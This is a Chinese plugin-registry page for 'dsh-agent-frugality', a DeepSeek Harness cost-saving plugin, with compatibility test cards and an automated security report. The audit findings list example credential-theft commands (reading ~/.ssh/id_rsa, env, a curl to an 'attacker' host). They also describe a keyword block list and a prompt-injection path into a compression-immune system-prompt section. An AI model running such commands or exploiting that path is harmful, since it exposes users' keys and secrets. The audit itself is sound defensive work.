安装验证:运行验证通过 (L5) · 验证于 dsh 0.2.1-rc.2 · 验证日期 安装验证详情 →
功能介绍AI
一个DeepSeek Harness插件,通过读取去重、压缩免疫规则、完成门控和廉价审查通道实现多代理成本节俭。
- 通过读取账本去重避免重复上下文读取
- 压缩免疫规则保护关键数据
- 完成门控与廉价审查通道控制成本
能力标签为 AI 推断或 README 规则抽取(见角标),词表受限、未经安装验证;AI = 推断,README = 原文关键词。
安装
dsh plugin --profile web add dsh-agent-frugality安装方式: npm · 运行验证通过 (L5)
验证与兼容性
按插件版本分组:每张卡是该插件版本实测过的 dsh 版本与安装兼容结论(L5 优先)。只列真测过的组合——未列出 = 未实测,不推定兼容。L1–L3 为插件级静态档(与 dsh 版本无关,各 dsh 行同值):在行内「验证等级」格里与 L4/L5 并列显示、标注「静态」,证据体为插件级单份、随行内「查看检查项与证据」出现,不在各版本重复存储。
External credentials(插件级):未检测到
依据:1 条要求、覆盖 1 个 @deepseek-ai/dsh-* 子包。 看原始区间
>=0.0.1-rc.1 <0.3.0 ×1
✓ 当前 dsh 0.2.1-rc.2 在支持范围内 —— 安装不会因版本被拒。
脚注:作者另写了 engines.dsh = ">=0.1.0-rc.6",DSH 不读该字段(不参与判定)。
能否正常运行是另一件事 → 见下方实测矩阵(L1–L5)。
| 插件版本 \ dsh | dsh 0.2.1-rc.2 当前 | dsh 0.2.1-alpha.4 | dsh 0.2.1-alpha.2 | dsh 0.2.0-rc.2 | dsh 0.2.0-rc.1 |
|---|---|---|---|---|---|
| 0.1.5 | ✓ | ✓ | ✓ | ✓ | · |
| 0.1.4 | · | · | · | · | ✓ |
| 0.1.3 | · | · | · | · | · |
| 0.1.2 | · | · | · | · | · |
| 0.1.1 | · | · | · | · | · |
0.1.5npm✓ 运行验证通过 52026-10-19
dsh-agent-frugality
✓dsh 0.2.1-rc.2当前2026-10-19L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-rc.2
- • 被测插件工件: npm · dsh-agent-frugality@0.1.5
ID: dsh-agent-frugality@0.1.5@dsh0.2.1-rc.2 · 档位: l4-sandbox
签发:2026-10-19 · 有效至:2026-10-26
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.1-alpha.42026-10-17L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.4
- • 被测插件工件: npm · dsh-agent-frugality@0.1.5
ID: dsh-agent-frugality@0.1.5@dsh0.2.1-alpha.4 · 档位: l4-sandbox
签发:2026-10-17 · 有效至:2026-10-24
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.1-alpha.22026-10-11L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.1-alpha.2
- • 被测插件工件: npm · dsh-agent-frugality@0.1.5
ID: dsh-agent-frugality@0.1.5@dsh0.2.1-alpha.2 · 档位: l4-sandbox
签发:2026-10-11 · 有效至:2026-10-18
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.2.0-rc.22026-10-09L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.2
- • 被测插件工件: npm · dsh-agent-frugality@0.1.5
ID: dsh-agent-frugality@0.1.5@dsh0.2.0-rc.2 · 档位: l4-sandbox
签发:2026-10-09 · 有效至:2026-10-16
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓版本史前2026-10-04L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: unknown
- • 被测插件工件: npm · dsh-agent-frugality@0.1.5
ID: dsh-agent-frugality@0.1.5@dshunknown · 档位: l4-sandbox
签发:2026-10-04 · 有效至:2026-10-11
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
0.1.4npm✓ 运行验证通过 62026-10-01
dsh-agent-frugality
✓dsh 0.2.0-rc.12026-09-29L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.2.0-rc.1
- • 被测插件工件: npm · dsh-agent-frugality@0.1.4
ID: dsh-agent-frugality@0.1.4@dsh0.2.0-rc.1 · 档位: l4-sandbox
签发:2026-09-29 · 有效至:2026-10-06
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.7-rc.22026-09-25L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.2
- • 被测插件工件: npm · dsh-agent-frugality@0.1.4
ID: dsh-agent-frugality@0.1.4@dsh0.1.7-rc.2 · 档位: l4-sandbox
签发:2026-09-25 · 有效至:2026-10-02
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.7-rc.12026-09-24L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.7-rc.1
- • 被测插件工件: npm · dsh-agent-frugality@0.1.4
ID: dsh-agent-frugality@0.1.4@dsh0.1.7-rc.1 · 档位: l4-sandbox
签发:2026-09-24 · 有效至:2026-10-01
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.6-alpha.22026-09-20L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.2
- • 被测插件工件: npm · dsh-agent-frugality@0.1.4
ID: dsh-agent-frugality@0.1.4@dsh0.1.6-alpha.2 · 档位: l3-fullscan
签发:2026-09-20 · 有效至:2026-09-27
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓dsh 0.1.6-alpha.12026-09-16L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.6-alpha.1
- • 被测插件工件: npm · dsh-agent-frugality@0.1.4
ID: dsh-agent-frugality@0.1.4@dsh0.1.6-alpha.1 · 档位: l4-sandbox
签发:2026-09-16 · 有效至:2026-09-23
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
✓版本史前2026-10-01L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: unknown
- • 被测插件工件: npm · dsh-agent-frugality@0.1.4
ID: dsh-agent-frugality@0.1.4@dshunknown · 档位: l4-sandbox
签发:2026-10-01 · 有效至:2026-10-08
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
0.1.3npm✓ 运行验证通过 12026-09-11
dsh-agent-frugality
✓dsh 0.1.5-rc.22026-09-11L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.5-rc.2
- • 被测插件工件: npm · dsh-agent-frugality@0.1.3
ID: dsh-agent-frugality@0.1.3@dsh0.1.5-rc.2 · 档位: l4-sandbox
签发:2026-09-11 · 有效至:2026-09-18
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
0.1.2npm2026-09-11
dsh-agent-frugality
该版本无运行时安装实测(仅静态扫描)——兼容性未知,不推定。
0.1.1npm✓ 运行验证通过 12026-09-09
dsh-agent-frugality
✓dsh 0.1.3-alpha.22026-09-09L5 · 运行验证通过
- • Node.js: v24.14.0
- • DSH: 0.1.3-alpha.2
- • 被测插件工件: npm · dsh-agent-frugality@0.1.1
ID: dsh-agent-frugality@0.1.1@dsh0.1.3-alpha.2 · 档位: l4-sandbox
签发:2026-09-09 · 有效至:2026-09-16
查看检查项与证据
已在加载器目录树中激活(150 个条目)
L1–L3 为插件级静态结论(基础门槛,全 dsh 版本相同):证据为插件级单份,不在各版本重复存储。
仅展示最近 3 个已发布版本;源码快照(commit hash)组、未标注工件组与更早版本不展示——全量档案保留在数据层(插件无任何已发布版本时,快照/未标注组才照常展示)。
作者徽章
将官方徽章嵌入你的 README,展示插件的安全与安装检测状态:
`[](https://www.dsh.so/artifact/dsh-agent-frugality/)``[](https://www.dsh.so/artifact/dsh-agent-frugality/)``[](https://www.dsh.so/artifact/dsh-agent-frugality/)``[](https://www.dsh.so/artifact/dsh-agent-frugality/)``[](https://www.dsh.so/artifact/dsh-agent-frugality/)``[](https://www.dsh.so/artifact/dsh-agent-frugality/)``[](https://www.dsh.so/artifact/dsh-agent-frugality/)`安全报告
两层自动化检查,都不是人工审核:静态扫描(逐插件规则判定)与模型驱动的动态安全审计(只覆盖静态判定 warn 及以上的插件子集,不执行插件代码)。
静态扫描 低,动态审计最高 中,按「取更严者」→ 总评级 中。
v0.1.5dsh 清单0.1.5npm2026-10-210.1.5版本一致clean · npmvet 为 AST 静态扫描(npm 发布物或 git 源码)。
静态发现(1 条)
- 严重shellExec · shell
lib/index.js:247const { stdout, stderr } = await exec(command, { cwd: cfg.workdir, timeout: 120000, maxBuffer: 1024 * 1024 })
展开 3 条审计发现
- medium启用 DSH_FRUGALITY_ALLOW_ARG_VERIFY=1 时,模型传入的 verify 会作为 shell 命令执行
lib/index.js:272默认情况下 exec 不可达(未配置 DSH_FRUGALITY_VERIFY 时 verified=null,不会执行);但运维一旦开启 DSH_FRUGALITY_ALLOW_ARG_VERIFY=1,命令串就来自模型。sanitizeVerify 只拦截 shell 元字符和 rm/del/format/shutdown/reboot/rd 关键字,单条简单命令仍会以宿主进程权限执行,且 stdout/stderr 会回传给模型(如 cat ~/.ssh/id_rsa、env、curl http://attacker/?x=…)。整链路只在该显式 opt-in 环境变量与可被提示注入的模型回合下可达。
- low模型选择的工具参数被注入到不受压缩影响的 system prompt 段落
lib/index.js:234targetOf 会从模型提供的工具参数(path/pattern/url/query)中截取至多 120 字符。这些字符串可能受模型刚读入的不可信文件内容影响,会被写入 lastReads,并在每次组装时重新塞进一个明确设计为“免疫压缩”的 system prompt 段落,使受攻击者影响的文本在会话提示中占据持久且更高优先级的位置。
- lowfrugality_review 仅凭扩展名白名单在进程内读取任意路径
lib/index.js:370模型提供的路径会被直接交给 existsSync/readFileSync,以宿主进程权限执行。这里没有工作目录收敛(realpath 前缀校验),也没有走宿主常规的 read 工具/审批流程,因此进程可读的任何 *.json/*.txt/*.md/*.js/… 文件(含项目外路径)都能被拉入审查提示,同时输出还构成文件存在性探测。
静态扫描的 critical 不成立:exec 默认关闭且由宿主配置控制;但 ALLOW_ARG_VERIFY=1 时净化偏弱,模型可用简单命令(中危)。
口径:动态审计只会把风险往严重里判,不会把风险降下来(只升不降,不构成豁免);模型判错时由人工复核撤回,撤回后回到静态判定。合并判定 = 两层中更严的那一个。
免责声明:静态扫描与动态安全审计都是自动化分析,不构成安全保证。安装前请自行审查。
活跃度
最近提交 2026-09-10 · 活跃度:稳定
• 仓库创建: 2026-08-29
• 星标: ★ 0 · 复刻: 0
• 健康度: 稳定 — 近 90 天有提交
来源
作者 README
GitHub 原文 ↗展示作者仓库中的原始 README 内容,实时抓取、未做改写;优先加载中文版(README.zh-CN.md 等),无中文版时回退英文。
